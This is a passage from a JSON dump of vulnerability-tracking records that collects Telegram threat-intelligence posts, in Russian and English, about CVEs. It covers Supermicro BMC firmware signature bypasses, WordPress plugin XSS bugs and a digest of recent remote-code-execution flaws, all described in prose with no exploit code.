\u043e\u0431\u0445\u043e\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0414\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f CVE-2024-10237 Supermicro\u00a0\u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\u00a0\u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439\u00a0fwmap, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0431\u0440\u0430\u0437\u0430 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0437\u0430\u043c\u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Binarly \u043f\u0440\u0438\u0448\u043b\u0438 \u043a\u00a0\u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 fwmap \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430, \u043e\u0431\u044a\u044f\u0432\u0438\u0432 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0438\u043b\u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435, \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0432 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0430.\n\n\u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0439 \u0445\u0435\u0448 \u0440\u0430\u0432\u0435\u043d \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0447\u0430\u0441\u0442\u0438 \u0432 \u043e\u0431\u0440\u0430\u0437\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0431\u044b\u043b\u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u043d\u044b \u043c\u0435\u0441\u0442\u0430\u043c\u0438 \u0438\u043b\u0438 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u044b.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 BMC \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0437, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0438\u043b\u0438 \u044f\u0434\u0440\u043e, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432 Supermicro. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u043a\u0430\u043a\u00a0CVE-2025-7937.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f Binarly, CVE-2025-6198, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0432 \u0432\u0438\u0434\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438\u00a0auth_bmc_sig, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0439 \u0432 \u0441\u0440\u0435\u0434\u0435 OP-TEE \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u044b X13SEM-F.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 \u0441\u0430\u043c\u043e\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u043c \u043e\u0431\u0440\u0430\u0437\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044f\u0434\u0440\u043e \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0447\u0430\u0441\u0442\u0438,  \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430, \u043f\u043e\u043a\u0430\u0437\u0430\u0432, \u0447\u0442\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u044f\u0434\u0440\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u0430 \u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f Root of Trust \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0448\u044c \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443, \u0447\u0442\u043e \u0438 \u043e\u0431\u0445\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0438\u043b\u0438 \u043f\u043e\u043d\u0438\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0437\u0430 \u0434\u043e \u043c\u0435\u043d\u0435\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e.\n\nSupermicro \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0430 Binarly - \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 PoC\u00a0\u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u043a, \u0442\u0430\u043a \u0447\u0442\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0441\u0440\u043e\u0447\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b, \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u0438\u0432\u043e\u0434\u044f \u043a\u00a0\u043c\u0430\u0441\u0441\u043e\u0432\u043e\u043c\u0443 \u0432\u044b\u0445\u043e\u0434\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438\u0437 \u0441\u0442\u0440\u043e\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0432\u0438\u0434\u0443 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u0439\u0441\u043e\u0432 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.", "creation_timestamp": "2025-09-25T15:10:05.000000Z"}, {"uuid": "28912050-9d5f-4650-b3bc-6c493572a067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10232", "type": "seen", "source": "https://t.me/cvedetector/9574", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-10232 - AtomChat WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-10232 \nPublished : Nov. 1, 2024, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Group Chat &amp; Video Chat by AtomChat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's atomchat shortcode in all versions up to, and including, 1.1.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-01T12:10:18.000000Z"}, {"uuid": "19c4792a-7541-47ac-8b64-dd09b8715500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10233", "type": "seen", "source": "https://t.me/cvedetector/9288", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-10233 - WooCommerce SMS Alert Order Notifications WordPress Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-10233 \nPublished : Oct. 29, 2024, 11:15 a.m. | 41\u00a0minutes ago \nDescription : The SMS Alert Order Notifications \u2013 WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's sa_subscribe shortcode in all versions up to, and including, 3.7.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T13:05:50.000000Z"}, {"uuid": "8333e148-ccc1-4cc4-8b50-c058e70523c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10234", "type": "seen", "source": "https://t.me/cvedetector/8609", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-10234 - Wildfly Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-10234 \nPublished : Oct. 22, 2024, 2:15 p.m. | 46\u00a0minutes ago \nDescription : A vulnerability was found in Wildfly, where a user may perform Cross-site scripting in the Wildfly deployment system. This flaw allows an attacker or insider to execute a deployment with a malicious payload, which could trigger undesired behavior against the server. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T17:07:38.000000Z"}, {"uuid": "848fb131-eb58-4f35-994b-5845b6f6cc2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10231", "type": "seen", "source": "https://t.me/cvedetector/8666", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-10231 - Google Chrome JavaScript V8 Type Confusion Heap Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-10231 \nPublished : Oct. 22, 2024, 10:15 p.m. | 22\u00a0minutes ago \nDescription : Type Confusion in V8 in Google Chrome prior to 130.0.6723.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-23T00:40:04.000000Z"}, {"uuid": "55bfa69e-dd49-47fa-a790-70dd627faaf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10239", "type": "seen", "source": "Telegram/vjoQ-bkBJjEuAhI5MrtwiUeQQaxqX3rdBO6Uop6gGRXsx4X9", "content": "", "creation_timestamp": "2025-02-06T02:40:47.000000Z"}, {"uuid": "eacbb715-d3a7-493b-af45-4a6631754efb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10238", "type": "seen", "source": "Telegram/n-yh4QjFrdVhAuR8GMOIEdUAx30QDc4FMubYd6T-FWGCBOpw", "content": "", "creation_timestamp": "2025-02-06T02:40:47.000000Z"}, {"uuid": "9802a9b0-74bb-49f9-a378-3bc485664003", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10237", "type": "seen", "source": "Telegram/yXYYh11S6rtn-yOk41gZGj81NFBhBljruRyWPxTWCEThZAAX", "content": "", "creation_timestamp": "2025-02-06T02:40:47.000000Z"}, {"uuid": "5082b40a-9d62-4db7-89e3-a601da26b57f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1023", "type": "seen", "source": "https://t.me/ctinow/189633", "content": "https://ift.tt/U3ibYBL\nCVE-2024-1023 | Vert.x 4.4.5/4.4.6/4.5.0/4.5.1 Data Structure memory leak", "creation_timestamp": "2024-02-21T14:41:50.000000Z"}, {"uuid": "1e9c7dd9-ce46-4bdd-a92b-12a63539052b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1023", "type": "seen", "source": "https://t.me/ctinow/176483", "content": "https://ift.tt/twCO5b4\nCVE-2024-1023", "creation_timestamp": "2024-01-31T05:37:03.000000Z"}, {"uuid": "0746e1e5-64af-4b2f-b5a7-73e6d0e9f283", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10237", "type": "seen", "source": "https://t.me/purp_sec/1150", "content": "\u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u043d\u0430\u044f \u043b\u0435\u043d\u0442\u0430 \u043e\u0441\u043e\u0431\u043e \u0431\u043e\u0433\u0430\u0442\u0430 \u043d\u0430 \u043d\u043e\u0432\u044b\u0435 \u043d\u043e\u0432\u044b\u0435 0-day \u0438 unauth RCE. \u041e\u0447\u0435\u043d\u044c \u043f\u043b\u043e\u0442\u043d\u043e \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u043e \u0441\u0432\u0435\u0436\u0438\u043c \u0431\u0430\u0433\u0430\u043c.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0432\u0434\u043e\u0431\u0430\u0432\u043e\u043a \u043a CVE-2025-55241 \u0441\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2025-26399 \u2014 RCE \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 AjaxProxy (SolarWinds Web Help Desk). \u042d\u0442\u043e \u043f\u0430\u0442\u0447-\u0431\u0430\u0439\u043f\u0430\u0441 \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u0431\u0430\u0433\u043e\u0432 CVE-2024-28988 \u0438 CVE-2024-28986. \u041f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\ud83d\udd35 CVE-2025-23298 \u2014 \u0431\u0430\u0433 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 NVIDIA Merlin \u2014 Transformers4Rec, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c torch.load()/pickle \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 checkpoint (pickle), \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434 (\u0447\u0435\u0440\u0435\u0437 __reduce__ \u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b pickle). \u041a\u0430\u043a \u0438\u0442\u043e\u0433 \u2014 RCE \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0432 \u0440\u044f\u0434\u0435 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0434\u0435\u043f\u043b\u043e\u0435\u0432 \u0434\u0430\u0436\u0435 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u0438\u043b\u0438 root \u043f\u0440\u0430\u0432\u0430\u043c\u0438.\n\n\ud83d\udd35 CVE-2025-10035 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433 \u0432 Fortra GoAnywhere MFT, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0446 \u0432 License Servlet. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0438\u043c \u043e\u0431\u044a\u0435\u043a\u0442, \u0447\u0442\u043e\u0431\u044b \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 RCE \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0445\u043e\u0441\u0442\u0435.\n\n\ud83d\udd35 CVE-2025-20352 \u2014 0-day \u0432 IOS/IOS XE (Cisco). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b SNMP \u0438 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f in wild. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SNMP-\u043f\u0430\u043a\u0435\u0442 \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c RCE \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 